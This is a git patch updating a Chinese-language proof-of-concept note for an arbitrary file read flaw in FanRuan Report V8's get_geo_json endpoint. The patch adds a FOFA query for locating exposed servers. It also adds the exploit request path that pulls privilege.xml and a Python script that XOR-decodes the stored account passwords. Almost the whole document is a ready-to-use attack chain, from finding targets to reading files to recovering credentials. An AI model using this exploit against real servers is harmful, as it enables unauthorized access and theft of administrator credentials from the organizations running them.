From a58423bdb4ff980a7d34ac07caf18e653cb753df Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 14 Dec 2023 12:54:37 +0800 Subject: [PATCH] =?UTF-8?q?Update=20=E5=B8=86=E8=BD=AF=E6=8A=A5=E8=A1=A8?= =?UTF-8?q?=20V8=20get=5Fgeo=5Fjson=20=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 帆软报表 V8 get_geo_json 任意文件读取漏洞.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/帆软报表 V8 get_geo_json 任意文件读取漏洞.md b/帆软报表 V8 get_geo_json 任意文件读取漏洞.md index 9c9a159..91a359b 100644 --- a/帆软报表 V8 get_geo_json 任意文件读取漏洞.md +++ b/帆软报表 V8 get_geo_json 任意文件读取漏洞.md @@ -1,9 +1,19 @@ ## 帆软报表 V8 get_geo_json 任意文件读取漏洞 +## fofa +``` +body="isSupportForgetPwd" + +``` + +## poc ``` WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml +``` + 获得账号密码后进行解密,解密脚本如下 -解密脚本 +## 解密脚本 +```python cipher = 'XXXXXXXXXXX' #密文 PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] Password = "" cipher = cipher[3:] @@ -12,5 +22,4 @@ c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] Password = Password + chr(c2) print (Password) - ```